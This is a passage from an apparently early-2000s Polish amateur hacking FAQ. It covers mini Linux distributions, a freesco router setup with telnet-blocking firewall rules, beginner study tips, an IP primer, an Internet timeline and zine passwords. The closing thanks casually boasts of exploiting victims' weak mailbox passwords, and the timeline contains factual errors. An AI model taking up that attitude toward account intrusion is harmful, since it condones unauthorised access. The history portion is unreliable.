MB RAM, stacja dyskietek. Obslugiwane karty sieciowe: 3c503, 3c509, 3c905, DEC21*4*, NE2000 (PCI), SMC Ultra, Via-Rhine.�Aby zainstalowac sciagniety Floppix na dyskietkach, trzeba przygotowac dwie sformatowane dyskietki. Nastepnie uruchomic w DOS-ie lub Windows sciagniety plik floppix.exe (samorozpakowujace sie archiwum) i uruchomic powstaly plik instal.bat.�Chcac uruchomic Floppix, trzeba uruchomic komputer z pierwszej z utworzonych dyskietek, lub w trybie MS-DOS, wlozyc pierwsza dyskietke z Floppiksem i wydac polecenie a:\loadlinux linux 





Pocket Linux  


Pocket Linux jest niemalze minimalnym, jednodyskietkowym systemem linuxowym stworzonym z mysla o tym, zeby szybko przemienic zwykly komputer PC w bezpieczna stacje robocza uzywajaca ssh do polaczen ze zdalnymi hostami (inne programy klientów sieciowych tez sa dostepne). Obsluguje on protokól bootp, dzieki czemu moze automatycznie ustalic numer IP hosta i pozostale parametry sieciowe (mozliwa jest tez reczna konfiguracja, ale korzystanie z bootp jest rekomendowane). Oprócz obslugi stacji wyposazonych w karte sieciowa (ethernet lub arcnet) obslugiwane sa równiez komputery wyposazone w modem. Modem jest automatycznie wykrywany, po czym nawiazywane jest polaczenie PPP. 





Win Linux 2000 


ten system uczy pracy na linuxie i jest prosty w obsludze jak Windows. Bardzo latwo go usunac wystarczy start-programy-akcesoria-dodaj usun i to wszestko !!! (220 MB)





Alfa Linux 


kolejna minidystrybucja miesci sie na dwóch dyskietkach !!! Podobna do innych chodz jej nie instalowalem 





CCLinux 


wprzeciwienstwie do innych zajmuje zaledwie 1 Mb to bardzo maly systemik dla poczatkujacych :)





Coyote Linux 


maly ale dobry sytemik dla osób które chca poznac linuxa i moze sie spodoba !!!





c) Linki





http://www.hackerzy.glt.pl


http://www.linux.com


http://www.linux.pl


http://www.cyber-crime.nano.pl


http://www.hacking.pl


http://www.underground.org.pl


http://www.hackerzy-polska.prv.pl


http://www.small.prv.pl


http://www.republika.pl/jfkennedy (?)





d) Forum





Również na mojej stronie możesz pisać o Linuxie





e) Bonus czyli konfiguracja linuxa freesco





Po uruchomieniu dyskietki freesco wpisz SETUP aby uruchomić linuxa pod konfigruację zaloguj się jako


passwd root i login root wybierz a (pojawi się menu konfiguracji)





wciśnij:


3 - tworzenie nowego połączenia pojawią się numerki


30 wpisz małymi literkami sdi


31 - 35 Enter


36 wpisz adres ip dany przez TP


37 - 40 Enter


przy (R0) należy wpisać login (R1) hasło


51 należy wpisać COM pod którym podłączone jest sdi


71 - Enter


711 nazwa dla serwera (np. serwerek) 


712 nazwa otoczenia sieciowego (np. NET)


72 - Enter 


721 wybieramy numer karty sieciowej 


724 wpisujemy adres ip serwerka w sieci (np. 192.168.0.1)


725 wpisujemy maskę podsieci (np. 255.255.255.255)


726 wpisujemy zakres do jakiego do jakiego ip będą komputery


(np. 192.168.0.2 192.168.0.5)


81 - Enter


wpisz I/O swojej kary sieciowej jeżeli masz na pci to wpisz 0


wpisz przerwanie IRQ swojej karty sieciowej (zwykle 10 lub 11)





wpiskamy "x" cofnięcie się do menu i "s" zapisz ustawienia kolejnym krokiem jest zrobienie serwera 


DHCP dzięki temu komputery w sieci nie będą potrzebowały nic prócz protokołu TPC/IP wszystko zostanie


przydzielone automatycznie.





--------------------------------------------------------------------------------------------------





Na każdym komputerze wybieramy start/uruchom wpisujemy Winipcfg i przepisujemy adres karty kolejne 


litery i cyfry są oddzielane myślnikami, myślniki należy zamienić na dwukropki. Kiedy mamy już spisane


wszystkie adresy kart sieciowy komputerów w sieci uruchamiamy linuxa w trybie setup, wklepujemy "a" i 42





421 wpisujemy "s"


422 - 423 Enter


424 wpisujemy "y" i enter





otworzy się plik a my wpisujemy





host nazwa_kompa {


fixed-address 192.168.0.2;


hardware ethernet 02:d0:ed:23:s3:21;


}





zmiany zapisujemy wciskając ALT + x





--------------------------------------------------------------------------------------------------





Konfiguracja pozostałych komputerów w sieci





każdy kolejny komputer pracujący w sieci musi mieć zainstalowany protokół TPC/IP, grupę roboczą taką 


jaka została przydzielona na serwerze a także w właściwościach przeglądarki ie/ połączenia/ ustawienia


sieci lan wybrane automatycznie wykryj ustawienia.





----


innE


----





b blokowanie dostępu do usługi telneta innym użytkownikom sieci Wybieramy 42 czyli konfiguracja serwera


DHCP w punkcie 46 Enable telnet serwer y/s/n []? wybieramy "s" co spowoduje blok logowania się na 


serwer użytkowniką z internetu. Aby zablokować dostęp kolejnym użytkowniką wpisujemy każdemu użytkownikowi:





ipfwadm -I -i reject -P tcp -S 192.168.0.2/32 -D 192.168.0.1 23 


ipfwadm -I -i reject -P tcp -S 192.168.0.3/32 -D 192.168.0.1 23 





----





30 zmiana hasła roota


23 użytkownicy zablokowani z netem


11 firewall


46 wyłączenie dostępu do linuxa z netu





move2hdd wybieramy (C)lean install i kopiujemy linuxa na hdd





------------------------------------------------------------





LAMERS





a) Kto to jest





Na to jest dużo tekstów ale wdług mnie jest to osoba, która kompletnie nie ma pojęcia o hackingu i tych sprawach a anty lamer to osoba (hacker) która niszczy cwaniaków (lamerów)





b) Najwięksi lamerzy





Ja na mojej stronie prowadze dział lamers są tam największe strony lamerskie, e-maile itp. ale dokładniejszy serwis prowadzi Cyber Crime.





c) Kilka porad 





Oh nie chce mi się pisać ale mam tekst Grzegorza.net.pl








1. Czytaj FAQ-i, najlepiej jak najnowsze. W Sieci jest ich duzo, m.in. na hacking.pl <http://hacking.pl/>, a takze na mojej stronie <http://grzegorz.net/download.html>.�2. Zagladaj na strony hackerskie, np. <http://hacking.pl/>, <http://www.underground.org.pl/>, z zagranicznych najslynniejsza to <http://www.2600.com/> oraz securityfocus.com <http://securityfocus.com/> - opis dziur w oprogramowaniu.�3. Zapisz sie na grupe dyskusyjna alt.pl.comp.os.hacking <news:alt.pl.comp.os.hacking> Nie jest to moze grupa, jakiej oczekiwaliby poczatkujacy. Panuje na niej specyficzny klimat: polewanie sie z lamerów pytajacych o cracki, nieustajace dyskusje o dystrybucjach Linuksa i programach dla niego, swego rodzaju niechec do uzywajacych Outlooka. Mimo wszystko mysle, ze warto sie tam zapisac. Postów jest bardzo duzo i zawsze mozna wylowic cos ciekawego. Je?li udowodnisz, ze nie jeste? lamerem i mozna z toba powaznie pogadac, na pewno uzyskasz pomoc.�4. Naucz sie programowac w jezykach C i C++. Nauka programowania pozwala znacznie rozszerzyc swa wiedze i dzialaniu komputerów. Oczywiscie umozliwia nam pisanie swoich narzedzi. Warto tez poznac inne jezyki: Visual Basic, Delphi, Assembler, PHP, Java, JavaScript, Perl�5. Zainstaluj sobie Linuxa i naucz sie go obslugiwac. Dobrze skonfigurowany Linux jest stabilny, doskonaly do pracy w sieci i bezpieczny. Na stronie <http://grzegorz.net/linki.html> zamiescilem kilka minidystrybucji Linuxa, mieszczace sie na dyskietkach.�6. Zdobadz numery archiwalne WinSecurity Magazine - miesiecznika poswieconego bezpieczenstwu systemów z linii Windows NT. Entuzjasci Linuksa takze powinni sie nim zainteresowac. Z innych czasopism dobry jest tez Magazyn INTERNET <http://www.mi.com.pl/> wydawany przez AVT. Nie jest to czasopismo hackerskie, ale jest w nim wiele ciekawych informacji o Sieci. Poczawszy od numeru 8/2001 mozesz znalezc w nim moje artykuly o programach do sciagania plików. Od niedawna wydawany jest IT FAQ <http://www.it-faq.pl/> - miesiecznik dla administratorów Linuksa i Windowsa, porusza m.in. tematyke technologii sieciowych, bezpieczenstwa, administracji.�7. Dowiedz sie jak najwiecej o dzialaniu systemów operacyjnych, sieci, kryptografii oraz programowaniu. Znalezc mozna o tym wiele stron, warto tez kupic troche ksiazek.�8. Poznaj jak najlepiej system, na którym pracujesz. Gdy czegos nie wiesz, spróbuj najpierw sam do tego dojsc. Poprzegladaj pliki w swoim komputerze, szczególnie te systemowe. Jesli masz Windows, przyjrzyj sie rejestrowi, pod Linuksem przejrzyj zródla systemu.





IP-CO TO JEST





Adres IP to 32-bitowa liczba identyfikuj±ca komputer w sieci. Zapisuje się 


ją w postaci dziesiętnej, rozdzielając każdy bajt kropką. Adres IP nie 


może być dowolny, ponieważ niektóre adresy są zarezerwowane. Takim adresem 


jest np. 127.0.0.1, który oznacza lokalny komputer. Część adresów jest 


wykorzystywana w sieciach lokalnych, służą one do identyfikowania maszyn 


tylko w danej sieci. Są to tzw. nieroutowalne adresy IP. Należą one do 


klas 10.0.0.0, 172.16.0.0-172.31.0.0 i 192.168.0.1 Dodatkowe adresy mogą 


być przypisane do jego interfejsów sieciowych. Np. z modemem może być 


powiązany adres 213.78.43.135, a z kartą sieciową 192.168.0.5. Adresy IP 


mogą też służyć do adresowania sieci.





HISTORIA INTERNETU





1957�Stany Zjednoczone powoluja do zycia agencje Advanced Research Projects Agency (ARPA), bedaca czescia Departamentu Obrony USA. Równoczesnie Zwiazek Radziecki wystrzeliwuje Sputnika, pierwszego sztucznego satelite Ziemi.��1961�Po raz pierwszy opublikowano teorie przesylania plików, stanowiaca podstawowa droge transmisji danych przez Siec.��1967�Zaprojektowano siec ARPANET.��1969�Do sieci ARPANET podlaczono: Uniwersytet Kalifornijski w Los Angeles, Uniwersytet w Santa Barbara, Instytut Stanford oraz Uniwersytet Stanowy Utah.��1970�Rozpoczecie stosowania Pierwszego Protokolu Transmisji Plików (Network Control Protocol - NCP).��1972�Pokaz dzialania ARPANET-u w oparciu o 40 komputerów. Robocza Miedzysieciowa Grupa Ekspertów stworzyla jednolity protokól sieciowy.��1973�ARPANET staje sie siecia miedzynarodowa, dzieki podlaczeniu University College w Londynie i Royal Radar Establishment w Norwegii Rozpoczecie stosowania Protokólu Transmisji Plików (FTP).��1974�Poczatek funkcjonowania telnetu.��1979�Wprowadzenie systemu USENET, przeznaczonego do przesylania wiadomosci o róznej tematyce na odleglosc i umozliwiajacej przesylanie odpowiedzi.��1982�Protokól Kontroli Transmisji Plików (TCP) i Protokól Sieciowy (IP), znany jako TCP/IP, wprowadzono jako jednolita metode komunikacji w sieci ARPANET.��1983�1 stycznia rozpoczeto stosowanie TCP/IP. Z ARPANET-u wyodrebnila sie siec MILNET, przeznaczona wylacznie do zastosowan militarnych.��1986�Rozpoczela dzialalnosc NSFNET (National Science Foundation Network).��1987�Stworzenie sieciowego polaczenia pomiedzy Niemcami a Chinami. Ilosc hostów liczy juz ponad 10 000.��1988�Rozpoczecie dzialania Internet Relay Chat (IRC).��1989�Liczba hostów ponad 100 000. Do NSFNET podlaczone sa: Australia, Niemcy, Japonia, Izrael, Meksyk, Niderlandy, Nowa Zelandia, Puerto Rico, Stany Zjednoczone i Wlochy.��1990�Koniec ARPANET-u. Pojawia sie pierwsza na swiecie komercyjna firma ISP (Internet Service Provider). Do NSFHET przystepuja: Argentyna, Australia, Belgia, Brazylia, Chile, Grecja, Hiszpania, Indie, Irlandia, Korea, Szwajcaria.��1991�Naukowcy z CERN opracowali standard World Wide Web (WWW).��1992�Liczba hostów przekracza 1 000 000. Do NSFNET przystepuja: Antarktyka, Ekwador, Estonia, Kamerun, Kuweit, Litwa, Luksemburg, Malezja, Slowacja, Slowenia, Tajlandia, Wenezuela.��1993�Bialy Dom on-line: http://www.whitehouse.gov/.��1994�Powstaja pierwsze internetowe sklepy i banki. Pizza-Hut on-line!��1995�Powstanie nowej technologii przesylania dzwieku na zywo - RealAudio.WWW staje sie coraz popularniejszym serwisem sieciowym.��1996�Restrykcje dotyczace korzystania z Internetu: w Chinach uzytkownicy musza rejestrowac sie na policji. W Niemczech zamknieto dostep do grupy dyskusyjnej Compuserve. W Singapurze polityczne i religijne grupy musza rejestrowac swoja dzialalnosc w Internecie.��1997�"Ludzki blad" nieodwracalnie zlikwidowal miliony domen konczacych sie rozszerzeniami .com i .net.��1998�Liczba hostów w swiatowej pajeczynie przekracza 40 milionów (ponad 37 milionów uzytkowników w Stanach Zjednoczonych i ponad 60 milionów na swiecie). Ameryka on-line (AOL) liczy juz 15 milionów czlonków. Sprzedaz dóbr przez Internet przekroczyla 3.7 biliona dolarów. AOL odkupuje Netscape.��1999�Rosnie komercyjna dzialalnosc w sieci Internet. Przewiduje sie, ze w biezacym roku przekroczy 6,1 biliona dolarów.��2000�W Polsce pojawiaja sie konkurenci Tepsy, liczba uzytkowników Inetu rosnie z dnia na dzien.��2001�I co dalej?...





HASŁA DO ZINÓW H@CKPL





h@ckpl1: patience is a virtue


h@ckpl2: november rain


h@ckpl3: beta


h@ckpl4: FREE KEVIN MITNICK


h@ckpl5: BETA





ZAKONCZENIE





a) Linki





http://www.hackerzy.glt.pl


http://www.small.prv.pl


http://www.republika.pl/jfkennedy


http://www.phreak.prv.pl


http://strony.wp.pl/wp/nick.nikko/hacking_texty.htm


http://h4ck3rs.republika.pl/hackfaq.htm


http://www.haker.pl


http://www.haker.com.pl


http://www.hacking.pl


http://www.cyber-crime.nano.pl


http://www.hacking.cc


http://www.underground.org.pl


http://www.grzegorz.net.pl


http://www.2600.org


http://www.div.pl


http://www.quznia.prv.pl





[Specjalne podziękowania]





Pragne podziękować jfkennedy-emu za teksty o rejestrze i o konfiguracji linuxa wielkie dzięki mi się o tym nie chciało pisać i dobrze, że coś napisałeś








b) Ostatnie słowa Spinacza





Pragne podziękować Jfkennedy-emu za  wkład w faq, Small Brother, kilku adminom, lamerom za banalne hasła do skrzynek, gością którzy się wpisują do księgi gości, ludzią z h@ckpl, Grzegorzowi N, jeszcze innym o których zapomniałem !!! Mój e-mail Hack.zone@wp.pl














	    


